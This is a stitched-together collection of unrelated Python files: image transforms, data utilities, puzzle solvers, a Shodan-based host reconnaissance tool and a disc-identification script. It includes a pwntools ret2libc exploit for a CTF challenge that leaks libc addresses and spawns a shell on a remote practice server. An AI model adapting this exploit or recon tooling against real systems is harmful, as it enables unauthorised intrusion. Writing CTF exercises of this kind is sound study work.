       s = s[len(l[idx]):]
       idx = 0
       continue
   idx += 1
if len(s) == 0: print('YES')
else: print('NO')


import random
from typing import Sequence, Tuple, Union

from PIL import Image, ImageFilter, ImageOps
import torch
from torch import Tensor
import torchvision.transforms as T  # type: ignore
import torchvision.transforms.functional as TF  # type: ignore

from conduit.types import NDArrayR

__all__ = [
    "Denormalize",
    "RandomGaussianBlur",
    "RandomSolarize",
    "denormalize",
]

def _invert_norm_values(
    mean: Union[float, Tensor, Sequence[float], NDArrayR],
    std: Union[float, Tensor, Sequence[float], NDArrayR],
) -> Tuple[Tensor, Tensor]:
    mean = torch.as_tensor(mean)
    std = torch.as_tensor(std)
    std_inv = std.reciprocal().clip(torch.finfo(std.dtype).eps)
    mean_inv = -mean * std_inv
    return mean_inv, std_inv

def denormalize(
    tensor: Tensor,
    mean: Union[float, Tensor, Sequence[float], NDArrayR],
    std: Union[float, Tensor, Sequence[float], NDArrayR],
    inplace: bool = False,
) -> Tensor:
    """Denormalize a float tensor image with mean and standard deviation.

    Given mean: ``(mean[1],...,mean[n])`` and std: ``(std[1],..,std[n])`` for ``n``
    channels, this transform will dennormalize each channel of the input
    ``torch.*Tensor`` i.e.,
    ``output[channel] = (input[channel] * std[channel]) + mean[channel])``

    .. note::
        This transform acts out of place, i.e., it does not mutate the input tensor.
    """
    mean_inv, std_inv = _invert_norm_values(mean=mean, std=std)
    return TF.normalize(
        tensor=tensor, mean=mean_inv.tolist(), std=std_inv.tolist(), inplace=inplace
    )

class Denormalize(T.Normalize):
    """Denormalize a float tensor image with mean and standard deviation.

    Given mean: ``(mean[1],...,mean[n])`` and std: ``(std[1],..,std[n])`` for ``n``
    channels, this transform will dennormalize each channel of the input
    ``torch.*Tensor`` i.e.,
    ``output[channel] = (input[channel] * std[channel]) + mean[channel])``

    .. note::
        This transform acts out of place, i.e., it does not mutate the input tensor.
    """

    def __init__(
        self,
        mean: Union[float, Tensor, Sequence[float], NDArrayR],
        std: Union[float, Tensor, Sequence[float], NDArrayR],
        inplace: bool = False,
    ) -> None:
        mean_inv, std_inv = _invert_norm_values(mean=mean, std=std)
        super().__init__(mean=mean_inv, std=std_inv, inplace=inplace)

class RandomGaussianBlur:
    """
    Apply Gaussian Blur to the PIL image with some probability.
    """

    def __init__(self, p: float = 0.5, *, radius_min: float = 0.1, radius_max: float = 2.0) -> None:
        self.prob = p
        self.radius_min = radius_min
        self.radius_max = radius_max

    def __call__(self, img: Image.Image) -> Image.Image:
        do_it = random.random() <= self.prob
        if not do_it:
            return img

        return img.filter(
            ImageFilter.GaussianBlur(radius=random.uniform(self.radius_min, self.radius_max))
        )

class RandomSolarize:
    """
    Apply Solarization to a PIL image with some probability.
    """

    def __init__(self, p: float) -> None:
        self.p = p

    def __call__(self, img: Image.Image) -> Image.Image:
        return ImageOps.solarize(img) if random.random() < self.p else img


from model.operation import Operation
from model.task import Task
from utils.excel import excel_to_dict

def read_tasks(tasks_path, all_equipment_classes, dept_id):
    all_tasks = []
    all_operations = {}
    # tasks = sorted(
    #     excel_to_dict(tasks_path),
    #     key=lambda k: (k['ORDER'][:9], 1 if '_NOK' in k['ORDER'] else 0)
    # )
    for row in excel_to_dict(tasks_path):
        if dept_id != (row.get('DEPT_ID') or dept_id):
            continue
        if row['OPERATION_ID'] not in all_operations:
            all_operations[row['OPERATION_ID']] = Operation(
                identity=row['OPERATION_ID'],
                entity=row.get('ENTITY'),
                nop=row.get('NOP'),
                name='',
                equipment_class=all_equipment_classes[row['EQUIPMENT_CLASS_ID']],
                machine_labor=row['MACHINE_LABOR'] / 60,
                human_labor=row['HUMAN_LABOR'] / 60,
                setup_time=row['SETUP_LABOR'] / 60
            )
        all_tasks.append(Task(
            operation=all_operations[row['OPERATION_ID']],
            quantity=row['QUANTITY'],
            date=row['DATE'],
            order=row['ORDER']
        ))

    return all_tasks, all_operations


from collections import deque

import sys
input = sys.stdin.readline

case = int(input())
for _ in range(case):
    garo,sero,num = map(int,input().split())
    grid = [[0]*garo for _ in range(sero)]
    for _ in range(num):
        col,row = map(int,input().split())
        grid[row][col] = 1
    dx = [1,0,-1,0]
    dy = [0,-1,0,1]
    q = deque()
    answer = 0
    for row in range(sero):
        for col in range(garo):
            if grid[row][col] == 1:
                q.append((row,col))
                grid[row][col] = 0
                while q :
                    popele = q.popleft()
                    for i in range(4):
                        if popele[0] + dy[i] < 0 or popele[0] + dy[i] >= len(grid) or popele[1] + dx[i] < 0 or popele[1] + dx[i] >=len(grid[0])or grid[popele[0]+dy[i]][popele[1]+dx[i]] == 0:
                            continue
                        else:
                            q.append((popele[0]+dy[i],popele[1]+dx[i]))
                            grid[popele[0]+dy[i]][popele[1]+dx[i]] = 0
                answer += 1
    print(answer)


import numpy as np
import gensim

from sklearn.preprocessing import StandardScaler
from sklearn.decomposition import PCA
from sklearn.manifold import TSNE
from umap import UMAP

REDUCERS = {"pca": PCA, "tsne": TSNE, "umap": UMAP}

def project_embeddings(data, n_components=2, reducer_name="tsne"):
    data = StandardScaler().fit_transform(data)
    reducer_class = REDUCERS[reducer_name]
    reducer = reducer_class(n_components=n_components)
    embeddings = reducer.fit_transform(data)
    return embeddings

def load_embeddings(filename):
    model = gensim.models.KeyedVectors.load_word2vec_format(filename, binary=False)
    return model.index2word, model.vectors

def load_cluster_data(filename):
    return np.loadtxt(filename, skiprows=1)

def load_cluster_composition(filename):
    data = {}
    with open(filename, "r") as f_handle:
        for i, line in enumerate(f_handle.readlines()):
            if i == 0:
                continue
            values = line.rstrip("\n").split(" ")
            cluster_idx, GO_idxs = values[0], values[1:]
            data[int(cluster_idx)] = [int(p) for p in GO_idxs]
    return data


from astropy.visualization import make_lupton_rgb
from astropy.visualization import LinearStretch, ImageNormalize
from astropy.convolution import Gaussian2DKernel, convolve
import matplotlib.pyplot as plt
from datetime import datetime as date

# Return a process to blur or remove the contrast in an image.
# https://docs.astropy.org/en/stable/convolution/index.html
def convolveImage(imageNdArray):
    # Create kernel
    g = Gaussian2DKernel(x_stddev = 1)
    # Convolve data
    z = convolve(imageNdArray, g)
    return z

def applyStrech(imageNdArray, slope, intercept):
    # normalize first
    norm = ImageNormalize()
    imageNdArray = norm(imageNdArray)

    # apply stretch
    stretch = LinearStretch(slope, intercept)
    imageNdArray = stretch(imageNdArray)

    return imageNdArray

# Return a flatten image
# Reference: https://linuxtut.com/en/2d82fe71f41fc00cb6f8/
#
def flatFieldCorrection(imageNdArray):
    return

def plotColoredImage(redNdarray, greenNdarray, blueNdarray):
    print("plotting colored image")
    rgbProcessed = make_lupton_rgb(
        redNdarray,
        greenNdarray,
        blueNdarray,
        stretch = 10,
        Q = - 0.09,
        filename="../processed/" + date.now().strftime("%m-%d-%Y %H-%M-%S") + ".jpeg")
    plt.imshow(rgbProcessed, origin='lower')


import shodan
import time
from conf import config
# choose_color_2  随机颜色 UseStyle指定颜色
from lib.choose import choose_color_2,UseStyle
from lib.Auxiliary import Sundries

import ttkbootstrap as ttk
GUT_output=0 # 输出到GUI
GUT_Sure=0 # 判断是否用到GUI

def current_time():
    return UseStyle(time.strftime("[%Y-%m-%d_%H:%M:%S]: [*]", time.localtime()),fore='blue')

# 提取出来的结果保存起来
def Searchresults(results_IP):
    Searchresults_document = open(config.Savelocation['shodan'], 'a', encoding='utf-8')  # 打开文件写的方式
    Searchresults_document.write((results_IP+'\n'))  # 写入
    Searchresults_document.close()  # 关闭文件

# API
def shodan_API():
    i = str(input("请输入"))
    # 输入API
    Shodan_api = 0
    if i == '1':
        API_document = open("API.txt", 'r')  # 读文件
        Shodan_api = API_document.readline()  # 读取文件的API

        API_document.close()  # 关闭文件
    else:
        Shodan_api = input("请输入自己的shodan的API：")
        API_document = open("API.txt", 'w')
        API_document.write(Shodan_api)
        API_document.close()
        api = shodan.Shodan(Shodan_api)

    print('''
             _               _
         ___| |__   ___   __| | __ _ _ __
        / __| '_ \ / _ \ / _` |/ _` | '_ \
        \__ \ | | | (_) | (_| | (_| | | | |
        |___/_| |_|\___/ \__,_|\__,_|_| |_|

        * 信息收集
        * 1. 输入用第一次的API
         ''')

    # api = shodan_API()
    host = str(input("请输入目标地址："))
    return api

def shod(host,Shodan_api):
    global GUT_output # 输出到GUI
    global GUT_Sure # 判断是否用到GUI

    try:
        if Shodan_api==None or Shodan_api=='': # 查看你的PCT是否输入参数,没有输入执行
            Shodan_api=config.SeriousConfig['shodan']

        if GUT_Sure == 1:  # 输出到GUI
            GUT_output.insert(ttk.END, f"IP地址是：{host}\n指定的API内容：{str(Shodan_api)}\n扫描结果会保存到result/shodan/shodan.txt文件\n{'*'*60}\n")
        else:
            print(choose_color_2(f"IP地址是：{host}\n指定的API内容：{str(Shodan_api)}\n扫描结果会保存到result/shodan/shodan.txt文件\n{'*'*60}\n"))

        api = shodan.Shodan(Shodan_api)

        resultip = api.host(host)

        for result in resultip['data']:

            # 预防报错
            try:
                domains=result['domains']
            except:
                result['domains']=' '
                domains=result['domains']
            try:
                org=result['org']
            except:
                result['org'] = ' '
                org = result['org']

            try:
                os=result['os']
            except:
                result['os'] = ' '
                os = result['os']

            try:
                port=result['port']
            except:
                result['port']=' '
                port = result['port']

            try:
                product=result['product']
            except:
                result['product']=' '
                product = result['product']

            try:
                data=result['data']
            except:
                result['data']=' '
                data = result['data']

            try:
                timestamp=result['timestamp']
            except:
                result['timestamp']=' '
                timestamp = result['timestamp']

            try:
                country_name=result["location"]['country_name']
            except:
                result["location"]['country_name']=' '
                country_name = result["location"]['country_name']

            Sure =f'\n域名: {domains}\n云提供商: {org}\n操作系统: {os}\n放的端口: {str(port)}\n使用的服务器软件: {product}\n响应信息: {data}\n爬曲时间: {timestamp}\n国家是: {country_name}'
            if GUT_Sure == 1:  # 输出到GUI
                GUT_output.insert(ttk.END, Sure)
            else:
                searchresults=current_time()+choose_color_2(f'\n域名: {domains}\n云提供商: {org}\n操作系统: {os}\n放的端口: {str(port)}\n使用的服务器软件: {product}\n响应信息: {data}\n爬曲时间: {timestamp}\n国家是: {country_name}')
                print(searchresults)
            Searchresults(Sure)
            print()
    except Exception as bc:
        print(current_time()+"有错误！\n错误提示"+str(bc))
def GUI(host,Shodan_api,result):
    global GUT_output
    global GUT_Sure
    GUT_output=result # 输出到GUI
    GUT_Sure=1  # 判断是否用到GUI
    GUT_output.insert(ttk.END, f'启动查询请稍候！\n')
    shod(host, Shodan_api)
    GUT_output.insert(ttk.END, f'\n完毕！')


import torch
from torch.utils.data import DataLoader
import pickle
from model import Encoder
from dataset import RealDataset

use_cuda = torch.cuda.is_available()
device = torch.device('cuda' if use_cuda else 'cpu')
print('Device used', device)

dataset = RealDataset()
dataloader = DataLoader(dataset, batch_size=1, shuffle=False, num_workers=1)

encoder = Encoder().to(device)
encoder.eval()

feature = []
label = []
with torch.no_grad():
    for i, data in enumerate(dataloader):
        data = data.to(device)
        f = encoder(data).squeeze()
        f = f.cpu()
        feature.append(f)

feature_file = './feature/real_test_feature_50.pickle'
#label_file = './feature/'+target+'_'+train+'_label.pickle'
with open(feature_file, 'wb') as f:
    pickle.dump(feature, f)
#with open(label_file, 'wb') as f:
#    pickle.dump(label, f)
print('finished')


import json
import shapefile

def Shapefile2GeoJSON(SHP_PATH):
    shp = shapefile.Reader(SHP_PATH)
    fields = shp.fields[1:]
    field_names = [field[0] for field in fields]
    buffer = []

    for sr in shp.shapeRecords():
        atr = dict(zip(field_names, sr.record))
        geom = sr.shape.__geo_interface__
        buffer.append(dict(type="Feature", geometry=geom, properties=atr))

    data = SHP_PATH.split('shapefiles/')
    DEST_GEO_PATH = data[0] + 'geojson/' + data[1].split('.shp')[0] + '.json'

    geojson = open(DEST_GEO_PATH, "w")
    geojson.write(json.dumps({"type": "FeatureCollection", "features": buffer}, indent=2) + "\n")
    geojson.close()

    return DEST_GEO_PATH


import datetime
import logging
import os
import re
import xmltodict
import unicodedata

import pyudev
import requests
import requests_cache

from .utils import is_dvd, is_blu_ray

requests_cache.install_cache(backend='memory')
logger = logging.getLogger(__name__)

def search_tmdb(movie):
    logger.info("Searching TMDB for the movie release year")

    session = requests.session()
    session.params.update({
        'api_key': os.environ['TMDB_API_KEY'],
        'query': movie
    })
    session.headers.update({
        'Content-Type': 'application/json',
        'Accept': 'application/json'
    })

    resp = session.get('https://api.themoviedb.org/3/search/movie')
    if resp.status_code != 200:
        logger.error(f"TMDB query failed with response\n"
                     f"{resp.status_code}: {resp.reason}")
    return resp.json()

def get_tmdb_year(movie):
    results = search_tmdb(movie)
    if results['total_results'] == 0:
        logger.info("Did not find any results.")
        year = ""
    elif results['total_results'] > 1:
        logger.info("Found multiple results.")
        year = ""
    else:
        logger.info("Found exactly 1 result.")
        movie = results['results'][0]
        release_date = movie['release_date']
        year = datetime.datetime.strptime(release_date, '%Y-%m-%d').year

    return year

def get_movie_year(movie):
    year = get_tmdb_year(movie)
    if not year:
        year = get_omdb_year(movie)
    return year

def clean_blu_ray_title(title):
    title = (unicodedata.normalize('NFKD', title)
             .encode('ascii', 'ignore')
             .decode())
    tm = chr(8482)
    title = re.sub(r" - (Blu\-rayTM|BLU\-RAYTM|BLU\-RAY|Blu\-ray)", "", title)
    title = re.sub(tm, "", title)
    return title

def clean_title_for_search(title):
    return re.sub("_", " ", title)

def get_blu_ray_title(path):
    fname = f'{path}/BDMV/META/DL/bdmt_eng.xml'
    if not os.path.exists(fname):
        logger.info("Metadata XML not in expected location.")
        return ''

    with open(fname, 'rb') as xml_file:
        doc = xmltodict.parse(xml_file.read())

    title = doc['disclib']['di:discinfo']['di:title']['di:name']
    # TODO: Test a unicode title
    title = clean_blu_ray_title(title)

    return title

def _fetch_omdb(params):
    session = requests.session()
    session.params.update({
        'apikey': os.environ['OMDB_API_KEY'],
        'plot': 'short',
        'r': 'json',
        **params
    })
    logger.info("Querying OMDB.")
    resp = session.get('https://www.omdbapi.com/')

    if resp.status_code != 200:
        logger.error(f"OMDB query failed with response\n"
                     "{resp.status_code}: {resp.reason}")
        resp.raise_for_status()

    return resp.json()

def search_omdb(title):
    return _fetch_omdb({
        's': title
    })

def get_omdb(title, year):
    return _fetch_omdb({
        't': title,
        'y': year
    })

def get_omdb_year(title):
    logger.info("Attempting to get year from OMDB.")
    result = get_omdb(title, '')
    if result['Response'] == 'True':
        logger.info("Found exact title.")
        return result['Year']

    logger.info("Searching OMDB.")
    result = search_omdb(title)
    if result['Response'] == 'True':
        if result['totalResults'] == '1':
            logger.info("Found exactly 1 result.")
            return result['Search'][0]['Year']
        else:
            logger.info("Found multiple results.")
            return ''
    else:
        logger.info("Found no search results.")

def get_media_type(title, year=''):
    results = get_omdb(title, year)
    response = results['Response']
    if response == 'False' and year:
        error = results['Error']
        logger.info(f'Title {title} and year {year} not found.\n'
                    f'Error: {error}\nRetrying without year')
        return get_media_type(title, '')
    elif response == 'False':
        logger.info(f"Title {title} not found.")
    elif response == 'True':
        return results['Type']
    else:
        logger.error(f"Unhandled response\n{results}")

def get_title(path):
    if is_dvd(path):
        logger.info("Found DVD")
        logger.info("No reliable way to find DVD title")
        logger.info("Consider using libdvdnav")
        title = ''
    elif is_blu_ray(path):
        logger.info("Found Blu-Ray")
        title = get_blu_ray_title(path)
        if not title:
            logger.info("Failed to get Blu-Ray title from disc")
    else:
        msg = "Did not find a video on the device"
        logger.error(msg)
        raise ValueError(msg)

    return title

def identify(device_name, mount_point):
    assert 'TMDB_API_KEY' in os.environ
    assert 'OMDB_API_KEY' in os.environ

    logger.info("Identifying disk")
    context = pyudev.Context()

    # this is probably /dev/sr0 or something. Don't need the 'dev'
    device = pyudev.Devices.from_name(
        context,
        'block',
        device_name.split('/')[-1]
    )
    id_fs_type = device.get('ID_FS_TYPE')

    if id_fs_type != 'udf':
        # if it's 'iso9660, then a data rip might work.
        raise ValueError(f"Expected 'udf' for FS type. Got {id_fs_type}")

    title = get_title(mount_point)
    if not title:
        logger.info("Getting title from ID_FS_LABEL")
        title = device.get('ID_FS_LABEL')
        logger.info(f"ID_FS_LABEL: {title}")

    title = clean_title_for_search(title)
    year = get_movie_year(title)

    logger.info(f"Title: '{title}'; Year: {year}")

    # TODO: it's possible that this could find a new year for the title
    video_type = get_media_type(title, year)

    logger.info("Done with identification.")
    logger.info(f"Title: '{title}'; Year: {year}; Video Type: {video_type}")
    return title, year, video_type


from tests.test_init import TestingSessionLocal
from app.database.entities.departments import Department

def test_create_department():
    with TestingSessionLocal() as test_db:
        # Create a new job record
        department = Department(department="Test Department 4")

        # Add the department to the database session
        test_db.add(department)

        # Commit the transaction to the database
        test_db.commit()

        # Refresh the job to fetch any changes from the database
        test_db.refresh(department)

        all_departments = test_db.query(Department).all()

        # Assert that there is at least one record in the table
        assert len(all_departments) == 3

        # Optionally, you can assert specific properties of the retrieved records
        assert all_departments[2].department == "Test Department 4"


#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-
#Author: Square_R
#Time: 2021.01.31 16.06.04
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
from LibcSearcher import*
context.arch = 'amd64'

host = '1.1.1.1'
port = 10000
local = 0
if local:
	context.log_level = 'debug'
	libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
	elf = ELF('./pwnme1')
	sh = process('./pwnme1')
else:
	#context.log_level = 'debug'
	# libc=ELF('null')
	elf = ELF('./pwnme1')
	sh = remote('node3.buuoj.cn',29918)

def pwn():
	sh.sendlineafter('> 6. Exit    \n','5')
	getflag = 0x08048677
	right_addr = 0x08048931
	flag_addr = elf.search('flag').next()
	PopEdiEbp_R = 0x08048897
	PopEsiEdiEbp_R = 0x08048896
	start = 0x08048570
	padding = 'A'*0xa4 + p32(0xdeadbeef) + p32(elf.plt['puts']) + p32(start) + p32(elf.got['puts'])
	# gdb.attach(sh)
	sh.sendlineafter('fruit:',padding)

	sh.recvuntil('\n')
	pust_addr = u32(sh.recv(4))
	libc_s = LibcSearcher('puts',pust_addr)
	libc_addr = pust_addr - libc_s.dump('puts')
	system_addr = libc_addr + libc_s.dump('system')
	bin_sh_addr = libc_addr + libc_s.dump('str_bin_sh')
	success("libc_Addr:0x%x"%(libc_addr))

	payload = 'A'*0xa4 + p32(0xdeadbeef) + p32(system_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
	sh.sendlineafter('> 6. Exit    \n','5')
	# gdb.attach(sh)
	sh.sendlineafter('fruit:',payload)
if __name__ == '__main__':
	pwn()
	sh.interactive()


import timeit
import copy

### Problem Parameters ###

class Cube:
	def __init__(self, x_range, y_range, z_range, type):
		self.x_min = x_range[0]
		self.x_max = x_range[1]
		self.y_min = y_range[0]
		self.y_max = y_range[1]
		self.z_min = z_range[0]
		self.z_max = z_range[1]
		self.type = type

	def get_x_dims(self):
		""" Returns a tuple in the form (min, max) of this Cube in the x direction """
		return (self.x_min, self.x_max)

	def get_y_dims(self):
		""" Returns a tuple in the form (min, max) of this Cube in the y direction """
		return (self.y_min, self.y_max)

	def get_z_dims(self):
		""" Returns a tuple in the form (min, max) of this Cube in the z direction """
		return (self.z_min, self.z_max)

	def get_size(self):
		""" Returns an int representing the size of this Cube """
		return (self.x_max + 1 - self.x_min) * (self.y_max + 1 - self.y_min) * (self.z_max + 1 - self.z_min)

	def get_overlapping(self, other):
		""" Determines if a second Cube has any overlapping reactors with
		this cube.

		Requires: other is a Cube object with any valid dimensions

		Returns: a new Cube object with the dimensions of the overlapped
		area shared by this Cube and the other Cube
		"""

		# Get x overlaps
		other_min = other.get_x_dims()[0]
		other_max = other.get_x_dims()[1]

		if other_min > self.x_max or other_max < self.x_min:
			return None

		if other_min <= self.x_min and other_max >= self.x_max:
			x = (self.x_min, self.x_max)

		elif other_min <= self.x_min and other_max <= self.x_max:
			x = (self.x_min, other_max)

		elif other_min <= self.x_max and other_max >= self.x_max:
			x = (other_min, self.x_max)

		else:
			x = other.get_x_dims()

		# Get y overlaps
		other_min = other.get_y_dims()[0]
		other_max = other.get_y_dims()[1]

		if other_min > self.y_max or other_max < self.y_min:
			return None

		if other_min <= self.y_min and other_max >= self.y_max:
			y = [self.y_min, self.y_max]

		elif other_min <= self.y_min and other_max <= self.y_max:
			y = [self.y_min, other_max]

		elif other_min <= self.y_max and other_max >= self.y_max:
			y = [other_min, self.y_max]

		else:
			y = other.get_y_dims()

		# Get z overlaps
		other_min = other.get_z_dims()[0]
		other_max = other.get_z_dims()[1]

		if other_min > self.z_max or other_max < self.z_min:
			return None

		if other_min <= self.z_min and other_max >= self.z_max:
			z = [self.z_min, self.z_max]

		elif other_min <= self.z_min and other_max <= self.z_max:
			z = [self.z_min, other_max]

		elif other_min <= self.z_max and other_max >= self.z_max:
			z = [other_min, self.z_max]

		else:
			z = other.get_z_dims()

		return Cube(x, y, z, self.type)

	def split_around_cube(self, other):
		""" Splits the current cube into at most 6 other cubes

			Requires: other is another cube that must overlap the current cube
			at some spot

			Returns: A list of cubes that represent this cube with the overlap
			removed.
		"""

		# Overlap is the entire cube, new cube goes nom
		if other.get_size() == self.get_size():
			return []

		new_cubes = []

		# Get top shelf - y and z are consistent with current cube
		x_max = self.x_max
		x_min = other.get_x_dims()[1] + 1

		if x_max >= x_min:
			top_cube = Cube((x_min, x_max), self.get_y_dims(), self.get_z_dims(), self.type)
			new_cubes.append(top_cube)

		# Get bottom shelf - y and z are consistent with current cube
		x_max = other.get_x_dims()[0] - 1
		x_min = self.x_min

		if x_min <= x_max:
			bottom_cube = Cube((x_min, x_max), self.get_y_dims(), self.get_z_dims(), self.type)
			new_cubes.append(bottom_cube)

		# Get front shelf - x is reduced to top/bottom shelf, z is unchanged
		y_max = other.get_y_dims()[0] - 1
		y_min = self.y_min

		if y_min <= y_max:
			front_cube = Cube(other.get_x_dims(), (y_min, y_max), self.get_z_dims(), self.type)
			new_cubes.append(front_cube)

		# Get back shelf - x is reduced to top/bottom shelf, z in unchanged
		y_max = self.y_max
		y_min = other.get_y_dims()[1] + 1

		if y_max >= y_min:
			back_cube = Cube(other.get_x_dims(), (y_min, y_max), self.get_z_dims(), self.type)
			new_cubes.append(back_cube)

		# Get left shelf - both x and y are reduced to overlap dimensions
		z_max = other.get_z_dims()[0] - 1
		z_min = self.z_min

		if z_min <= z_max:
			left_cube = Cube(other.get_x_dims(), other.get_y_dims(), (z_min, z_max), self.type)
			new_cubes.append(left_cube)

		# Get right shelf - both x and y are reduced to overlap dimensions
		z_max = self.z_max
		z_min = other.get_z_dims()[1] + 1

		if z_max >= z_min:
			right_cube = Cube(other.get_x_dims(), other.get_y_dims(), (z_min, z_max), self.type)
			new_cubes.append(right_cube)

		return new_cubes

### End Problem Parameters ###

### Helper Functions ###

def score_cubes(cubes):
	""" Determines the total size of cubes that are 'on'

		Requires: cubes is a list of cubes

		Returns: an int representing the total size of the cubes
	"""
	score = 0
	for cube in cubes:
		score += cube.get_size()

	return score

### End Helper Functions ###

lines = []
with open("Input.txt", "r") as inputFile:
	for line in inputFile:
		all_combinations = []
		switch, params = line.split(" ")
		ranges = params.split(",")
		for dim in ranges:
			dim = dim[2:]
			start, stop = dim.split("..")
			new_list = (int(start), int(stop))
			all_combinations.append(new_list)

		lines.append(Cube(all_combinations[0], all_combinations[1], all_combinations[2], switch))

start = timeit.default_timer()

cubes = []
for i in range(len(lines)):
	cube = lines[i]
	new_cubes = copy.copy(cubes)

	# Compare against all existing cubes, creating a new overlap cube
	for old_cube in cubes:
		overlap = cube.get_overlapping(old_cube)

		# If any overlap, split the old cube.
			# If cube in on-cube, that area will be covered by new cube
			# If cube is off-cube, that area is removed
		if overlap:
			new_cubes.remove(old_cube)
			split_cubes = old_cube.split_around_cube(overlap)
			new_cubes.extend(split_cubes)

	# If cube is on-cube, add to list
	if cube.type == "on":
		new_cubes.append(cube)

	cubes = new_cubes

print("Score:", score_cubes(cubes))

stop = timeit.default_timer()

print('Time: ', stop - start)